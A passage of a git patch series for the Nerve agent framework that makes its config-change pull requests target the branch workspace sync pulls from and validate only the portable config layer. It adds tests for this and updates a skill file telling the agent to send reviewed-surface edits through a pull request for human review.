cannot contain anything that would satisfy it. That one error is tolerated, matched by its leading phrase, with a test pinning the phrase so a rewording fails loudly rather than quietly refusing valid proposals again. Co-Authored-By: Claude --- nerve/agent/tools/handlers/config_pr.py | 4 + nerve/config_pr.py | 62 ++++++- tests/test_config_pr.py | 211 ++++++++++++++++++++++++ 3 files changed, 268 insertions(+), 9 deletions(-) diff --git a/nerve/agent/tools/handlers/config_pr.py b/nerve/agent/tools/handlers/config_pr.py index d59896cc..19d68197 100644 --- a/nerve/agent/tools/handlers/config_pr.py +++ b/nerve/agent/tools/handlers/config_pr.py @@ -36,6 +36,10 @@ async def propose_config_change_handler(ctx: ToolContext, args: dict) -> ToolRes result = await asyncio.to_thread( propose_config_change, workspace, config_dir, title, body, changes, int(time.time()), + # The branch sync pulls from, so a merged proposal actually reaches + # this instance. Empty is a real setting — the tool falls back to + # origin's default rather than to whatever this checkout is on. + base=config.workspace_sync.branch, ) except Exception as e: # noqa: BLE001 logger.error("propose_config_change failed: %s", e) diff --git a/nerve/config_pr.py b/nerve/config_pr.py index bc0db513..a53629ea 100644 --- a/nerve/config_pr.py +++ b/nerve/config_pr.py @@ -3,9 +3,9 @@ This is how Nerve changes its own configuration when it can't (or shouldn't) edit the live workspace directly — notably under lockdown, where runtime edits to tracked config are blocked. Instead of touching the running workspace, it stages -the change in a throwaway git worktree off the remote's default branch, validates it, -pushes a branch, and opens a PR via ``gh`` for human review. Nothing in the live -working tree is modified (so it never conflicts with ff-only sync). +the change in a throwaway git worktree off the branch sync pulls from, validates +it, pushes a branch, and opens a PR via ``gh`` for human review. Nothing in the +live working tree is modified (so it never conflicts with ff-only sync). **What this is for.** A change that goes through here is reviewed, attributable and recorded in the repository's history. It is not a barrier and cannot be one: @@ -142,6 +142,18 @@ def _committer_args(cwd: Path) -> list[str]: _SETTINGS_FILE = "config/settings.yaml" +# Under ``portable_only`` a bundle with no portable config file at all is an +# error: a CI gate that validated nothing must not report success. A proposal is +# not that gate. The staged worktree is validated with the change already +# applied, so a proposal that creates the first ``config/settings.yaml`` carries +# its own portable layer — but one that only touches ``skills/`` or a root +# instruction file does not, and on a workspace ``nerve init`` made (skills/, no +# config/) that error would refuse it for something the proposal has no way to +# fix. Matched by its leading phrase, which +# ``test_the_tolerated_validation_error_is_still_the_one_produced`` pins, so a +# rewording fails there instead of quietly refusing valid proposals again. +_EMPTY_BUNDLE_ERROR = "nothing to validate:" + # Distinguishes "the settings do not mention this key" from a key stated with a # null or empty value, which ``None`` alone cannot (see # :func:`_effectful_settings_keys`). @@ -555,16 +567,22 @@ def propose_config_change( changes: list[dict], now: int, branch: str | None = None, + base: str = "", ) -> ProposeResult: """Open a PR against the workspace repo with the given file changes. ``changes`` is a list of ``{"path": , "content": }``. Every path must be inside the proposable surface (see :func:`_proposal_path_problem`); one that is not rejects the whole proposal. - The change is staged in a temp worktree off origin's default branch (see - :func:`_remote_default_branch`, never the local ``HEAD``), validated, and — - only if valid — pushed as a branch with a PR opened via ``gh``. ``now`` is a - unix timestamp used to make the branch name unique. Never raises. + The change is staged in a temp worktree off ``base``, validated, and — only + if valid — pushed as a branch with a PR opened via ``gh``. ``branch`` names + that head branch; ``now`` is a unix timestamp used to make it unique. + + ``base`` is the branch to propose against: the one workspace sync pulls from + (``workspace_sync.branch``). Empty falls back to origin's default branch — + never the local ``HEAD``, see :func:`_remote_default_branch`. + + Never raises. """ workspace = Path(workspace) if not is_git_repo(workspace): @@ -621,7 +639,19 @@ def propose_config_change( # One resolved name for the base, used for the fetch, the worktree it is # branched from and the PR's --base, so the three can never disagree. - base_branch = _remote_default_branch(workspace) + # + # The caller's ``base`` is the branch sync pulls from. A proposal against any + # other branch is one the instance never receives, and it is worse than + # merely useless: the agent submits the full content of a file it read in the + # synced tree, so staging that over a different branch's revision reverts + # whatever that branch holds and the synced one does not — as a deletion in + # the diff, under a title that says the change adds a setting. + # + # An empty setting falls back to origin's default. Sync follows the + # checkout's upstream in that case, and this deliberately does not: a + # detached HEAD (what sync leaves behind while it validates a rev) or a + # feature checkout has no business choosing what a pull request targets. + base_branch = base or _remote_default_branch(workspace) if not base_branch: return ProposeResult( ok=False, @@ -688,8 +718,22 @@ def propose_config_change( ) # Validate the proposed bundle — never open a PR for a broken config. + # + # portable_only, because a pull request changes the portable layer alone + # and that is the layer every instance merging it will read. Overlaid, + # the machine-local config of whichever box happens to be proposing + # answers for the shared one: a proposal setting an invalid + # agent.backend passes here because this host's config.yaml names a valid + # one, and the boxes that merge it refuse to load. The masking also runs + # the other way — an explicit machine-local cron.jobs_file wins, and a + # proposed config/cron/jobs.yaml is then never opened at all. from nerve.config_validate import validate_config_bundle - errors = validate_config_bundle(config_dir, workspace_override=wt).errors + errors = [ + e for e in validate_config_bundle( + config_dir, workspace_override=wt, portable_only=True, + ).errors + if not e.startswith(_EMPTY_BUNDLE_ERROR) + ] if errors: return ProposeResult( ok=False, branch=branch, validation_errors=errors, code_paths=code_paths, diff --git a/tests/test_config_pr.py b/tests/test_config_pr.py index 26a8e6f2..dc83a081 100644 --- a/tests/test_config_pr.py +++ b/tests/test_config_pr.py @@ -970,6 +970,191 @@ def test_tracked_symlink_cannot_redirect_a_write(self, tmp_path, monkeypatch): assert not (tmp_path / "outside" / "evil.py").exists() assert not (ws / "skills" / "evil.py").exists() + def _diverged_origin(self, tmp_path): + """An origin whose ``main`` holds a line ``staging`` does not, cloned on staging. + + The layout of an instance that follows a pre-production branch: sync + pulls ``origin/staging``, so that is the tree the agent reads and the + branch a proposal has to target. + """ + origin = tmp_path / "origin" + origin.mkdir() + self._git("init", "-b", "main", cwd=origin) + (origin / "config").mkdir() + (origin / "config" / "settings.yaml").write_text("timezone: UTC\n") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + self._git("branch", "staging", cwd=origin) + (origin / "config" / "settings.yaml").write_text( + "timezone: UTC\nquiet_start: '03:00'\n" + ) + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "main moves on", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", "--branch", "staging", str(origin), str(ws), cwd=tmp_path) + return ws + + def test_proposal_targets_the_branch_sync_pulls_from(self, tmp_path, monkeypatch): + """``workspace_sync.branch`` decides the base, not origin's default. + + An instance following ``staging`` that proposed against ``main`` would + open a pull request it can never receive: sync pulls ``origin/staging``, + and nothing merged into ``main`` reaches the instance. + """ + ws = self._diverged_origin(tmp_path) + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Set quiet end", "", + [{"path": "config/settings.yaml", "content": "timezone: UTC\nquiet_end: '09:00'\n"}], + now=31, base="staging", + ) + assert r.ok, r.message + assert seen["args"][seen["args"].index("--base") + 1] == "staging" + # Branched from it as well — the fetch, the worktree and --base are one name. + assert self._out("rev-parse", f"origin/{r.branch}^", cwd=ws) == self._out( + "rev-parse", "origin/staging", cwd=ws, + ) + + def test_an_empty_sync_branch_keeps_the_remote_default(self, tmp_path, monkeypatch): + """Unset is a real state, and the fallback is origin's default. + + Not the checkout's upstream — which is what sync follows when the setting + is empty, and which here is ``staging``. A detached HEAD (what sync + leaves behind while it validates a rev) or a feature branch would + otherwise choose what the pull request targets. + """ + ws = self._diverged_origin(tmp_path) + assert self._out("rev-parse", "--abbrev-ref", "HEAD", cwd=ws) == "staging" + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Set quiet end", "", + [{"path": "config/settings.yaml", "content": "timezone: UTC\nquiet_end: '09:00'\n"}], + now=32, base="", + ) + assert r.ok, r.message + assert seen["args"][seen["args"].index("--base") + 1] == "main" + + def test_a_full_content_proposal_does_not_revert_the_base(self, tmp_path, monkeypatch): + """``changes`` carries content, not a patch, so the base has to be right. + + The agent reads the file in the synced tree and submits it whole. Staged + over a different branch's revision, everything that branch holds and the + synced one does not becomes a deletion — in a diff whose title says the + change adds a setting. + """ + ws = self._diverged_origin(tmp_path) + live = (ws / "config" / "settings.yaml").read_text() + assert "quiet_start" not in live # staging has never had main's line + seen = self._capture_gh(monkeypatch) + r = propose_config_change( + ws, tmp_path / "cfg", "Set quiet end", "", + [{"path": "config/settings.yaml", "content": live + "quiet_end: '09:00'\n"}], + now=33, base="staging", + ) + assert r.ok, r.message + base = seen["args"][seen["args"].index("--base") + 1] + diff = self._out("diff", f"origin/{base}...origin/{r.branch}", cwd=ws) + assert "+quiet_end: '09:00'" in diff + assert "quiet_start" not in diff, diff + + def _skills_only_origin(self, tmp_path): + """A workspace with ``skills/`` and no ``config/`` — what ``nerve init`` makes.""" + origin = tmp_path / "origin" + (origin / "skills" / "demo").mkdir(parents=True) + self._git("init", "-b", "main", cwd=origin) + (origin / "skills" / "demo" / "SKILL.md").write_text("# demo\n") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", str(origin), str(ws), cwd=tmp_path) + return ws + + def test_the_first_settings_yaml_is_proposable(self, tmp_path, monkeypatch): + """Validation sees the worktree with the change applied, so this file counts. + + A workspace that gained a remote after ``nerve init`` has no portable + config layer at all, and the proposal creating one is the change that + would be refused by a check asking whether the layer already exists. + """ + ws = self._skills_only_origin(tmp_path) + assert not (ws / "config").exists() + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/pr/5")) + r = propose_config_change( + ws, tmp_path / "cfg", "Add settings", "", + [{"path": "config/settings.yaml", "content": "timezone: UTC\n"}], now=34, + ) + assert r.ok, f"{r.message} {r.validation_errors}" + assert "config/settings.yaml" in self._out( + "show", "--name-only", "--format=", f"origin/{r.branch}", cwd=ws, + ) + + def test_a_skill_only_proposal_needs_no_config_directory(self, tmp_path, monkeypatch): + """The one portable_only error a proposal must not be judged by. + + Nothing this proposal could contain would make the bundle non-empty — + ``validate_config_bundle`` reads settings and cron, and a skill is + neither — so refusing it would refuse every skill change this workspace + will ever make, for a reason the agent cannot act on. + """ + ws = self._skills_only_origin(tmp_path) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/pr/6")) + r = propose_config_change( + ws, tmp_path / "cfg", "Extend the demo skill", "", + [{"path": "skills/demo/SKILL.md", "content": "# demo\n\nMore.\n"}], now=35, + ) + assert r.ok, f"{r.message} {r.validation_errors}" + + +class TestValidatesThePortableLayer: + """A proposal changes the portable layer, so that is the layer it is judged on.""" + + def test_a_machine_local_override_cannot_rescue_it(self, tmp_path, monkeypatch): + """Overlaid, this host's config.yaml answers for the shared config. + + ``test_machine_override_masks_a_shared_error_by_default`` in + tests/test_config_validate.py pins the merge itself: the local value wins, + as it does at load. That is right for the box and wrong for a change + headed to a repo other boxes read — the proposal would open, merge, and + be refused on every instance whose config.yaml does not happen to set it. + """ + ws = _repo(tmp_path) + config_dir = tmp_path / "cfg" + config_dir.mkdir() + (config_dir / "config.yaml").write_text( + "agent:\n backend: claude\n", encoding="utf-8", + ) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="u")) + + r = propose_config_change( + ws, config_dir, "Switch backend", "", + [{"path": "config/settings.yaml", "content": "agent:\n backend: bogus\n"}], + now=1, + ) + + assert not r.ok + assert any("bogus" in e for e in r.validation_errors), r.validation_errors + assert not gh_called + + def test_the_tolerated_validation_error_is_still_the_one_produced(self, tmp_path): + """``_EMPTY_BUNDLE_ERROR`` is a prefix match on another module's wording. + + Pinned here so a rewording fails this test, rather than silently going + back to refusing every proposal on a workspace with no ``config/``. + """ + ws = tmp_path / "ws" + (ws / "skills").mkdir(parents=True) + + result = cvmod.validate_config_bundle( + tmp_path / "cfg", workspace_override=ws, portable_only=True, + ) + + assert not result.ok + assert [e for e in result.errors if e.startswith(cpr._EMPTY_BUNDLE_ERROR)], ( + result.errors + ) + class TestGhHelper: """``_gh`` itself. Every other test replaces it, so it is only covered here.""" @@ -1126,6 +1311,32 @@ async def test_handler_tells_the_agent_to_relay_executable_code(self, monkeypatc assert "changes what runs on the instance" in text assert "config/cron/gates/stale.py" in text + @pytest.mark.asyncio + async def test_handler_passes_the_branch_sync_pulls_from(self, monkeypatch): + """The handler is the layer holding the config, so it names the base. + + ``config_pr`` is handed a workspace and cannot read ``workspace_sync`` + itself; without this the proposal targets origin's default and an + instance following any other branch never receives its own change. + """ + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + config.workspace_sync.branch = "staging" + seen = {} + + def _propose(*args, **kwargs): + seen.update(kwargs) + return ProposeResult(ok=True, pr_url="https://gh/pull/3", branch="b") + + monkeypatch.setattr(cpr, "propose_config_change", _propose) + ctx = ToolContext(session_id="s", config=config) + await propose_config_change_handler(ctx, {"title": "t", "changes": _changes()}) + assert seen["base"] == "staging" + @pytest.mark.asyncio async def test_handler_invalid(self, monkeypatch): from nerve.agent.tools.handlers.config_pr import propose_config_change_handler From 9311c8034fca0dd039cce6a229bf5a45cc0fa4c1 Mon Sep 17 00:00:00 2001 From: Alex Soffronow-Pagonidis Date: Fri, 31 Jul 2026 08:30:17 +0200 Subject: [PATCH 4/4] Instruct the agent to route reviewed-surface changes through a PR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The skill said "prefer a PR. Nothing forces it," which understates what now happens and reads oddly to an agent holding a `skill_create` tool that writes the file directly. Sync refuses to merge while the reviewed surface has uncommitted local state, so a direct write to `config/`, `skills/` or a root instruction file leaves the workspace diverged from the reviewed revision and stops the instance receiving config changes until it is committed or dropped. `propose_config_change` stages in an isolated worktree, so the PR route leaves the live tree clean — it is the route that keeps sync working, not merely the tidier one. Still a divergence argument, not a permission one: on a box with a remote but no lockdown the agent may write directly, and the point is what that costs. The no-remote case is unchanged, where direct edits are correct and a PR has nothing to target. Co-Authored-By: Claude --- nerve/templates/skills/nerve-workspace/SKILL.md | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/nerve/templates/skills/nerve-workspace/SKILL.md b/nerve/templates/skills/nerve-workspace/SKILL.md index e2a9fde8..24a9217e 100644 --- a/nerve/templates/skills/nerve-workspace/SKILL.md +++ b/nerve/templates/skills/nerve-workspace/SKILL.md @@ -36,8 +36,17 @@ belongs to this instance alone — that is what an ordinary install looks like. - **Locked instance** (lockdown / remote-only) — a PR is the *only* thing that works. Direct edits to tracked config are blocked, and would be overwritten by the next sync even if they weren't. -- **Workspace has a remote, not locked** — prefer a PR. Nothing forces it, but a - reviewed change is the point of having the repo. +- **Workspace has a remote, not locked** — route every change to the reviewed + surface through `propose_config_change`, even though nothing forces you to. A + direct write leaves the workspace diverged from the reviewed revision, and sync + refuses to merge while anything in that surface — `config/`, `skills/`, and the + root instruction files — has uncommitted local state (untracked, modified, + staged or deleted). So the edit also stops every later config change from + reaching this instance until someone commits or drops it. + `propose_config_change` stages in an isolated worktree, so it leaves the live + workspace clean — only a direct write dirties it. That covers every route that + writes those files, not just an editor: `skill_create` and `skill_update`, the + `POST`/`PUT`/`DELETE /api/skills` endpoints, and a shell command. - **No remote, not locked** — there is nothing to open a PR against and no review to route through. **Edit the files directly** and tell the user what you changed. `propose_config_change` will refuse, and it is right to.